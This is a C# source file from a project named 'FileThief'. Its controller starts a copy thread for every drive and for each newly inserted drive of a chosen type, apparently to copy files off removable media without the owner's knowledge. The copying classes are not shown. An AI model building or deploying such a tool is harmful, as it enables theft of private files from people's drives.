﻿using System.Collections.Generic;
using System.IO;
using System.Threading;

namespace FileThief
{
    public class Controller
    {
        private static Controller ctl = new Controller();
        public static Controller GetController()
        {
            return ctl;
        }

        private Controller()
        {
        }
            
        /// <summary>
        /// 标志是否启动拷贝服务
        /// </summary>
        public bool IsStart
        {
            get;
            private set;
        }
        
        
        public void StartCopy()
        {
            IsStart = true;
                     
            List<DriveInfo> driveList= Detect.GetDetect().GetAllDriveInfo();
            
            foreach (DriveInfo i in driveList)
            {
                new Thread(new ThreadStart(new Businese(i).Start)).Start();
            }                     
        }

        public void NewDriveArrive(string newName)
        {
            DriveInfo driveInfo = new DriveInfo(newName);
            if (IsStart && Detect.GetDetect().CopiedDriveTypeFilter(driveInfo.DriveType))
            {
                new Thread(new ThreadStart(new Businese(new DriveInfo(newName)).Start)).Start();
            }
        }
        
        public void StopCopy()
        {
            IsStart = false;
        }

        public void ExitApp()
        {
            
        }
        
    }

   
    

}
